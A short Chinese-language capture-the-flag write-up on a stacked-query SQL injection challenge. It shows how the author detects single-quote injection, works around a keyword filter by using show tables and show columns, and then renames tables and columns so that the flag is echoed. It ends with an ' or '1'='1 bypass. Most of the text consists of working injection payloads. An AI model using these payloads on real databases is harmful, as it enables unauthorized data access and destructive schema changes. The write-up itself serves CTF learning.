访问链接页面如下
提交参数为一测试
测试整数型还是单双引号型注入,结果为单引号注入
进行多个结果查询,尝试查找漏洞,输入以下语句发现有正则表达式对某些关键词进行过滤(大小写就不用考虑了)
1’; select database();#
尝试双词写入,并没有作用
1’; selslectect database();#
尝试用其他关键词,比如说show,成功注入,得到两个表
1'; show tables;#
分别查看两个表中的列名
1'; show columns from `1919810931114514`;#
1'; show columns from words;#
发现在表`1919810931114514`中有我们想要的数据flag,怎么得到呢,观察words表的列名,我们发现字段id为int类型,字段data为字符串类型,正好对应在输入框中输入数字得到数据的模板,因此我们判定这个查询框绑定着words表,输入的查询值为id,此处我们只能通过输入id回显字段的值,因此思路为:
把原来的worlds表改名为word2,
然后把flag存在的表`1919810931114514`改名为worlds
并且把flag字段改名为data(因为页面中回显的是data字段的值)
改变表名:
rename table 旧表名 to 新表名;
改变表中的字段名
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
给表新增字段
ALTER TABLE 表 ADD COLUMN 字段1 字段类型 DEFAULT 默认值
最终构造语句为
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
(这个语句要编写完一起放进去执行,如果分布执行的话会失败)
可以查看一下表,验证是否更改成功
1'; show tables;#
执行结束输入万能语句取出我们想要的值
1' or '1'='1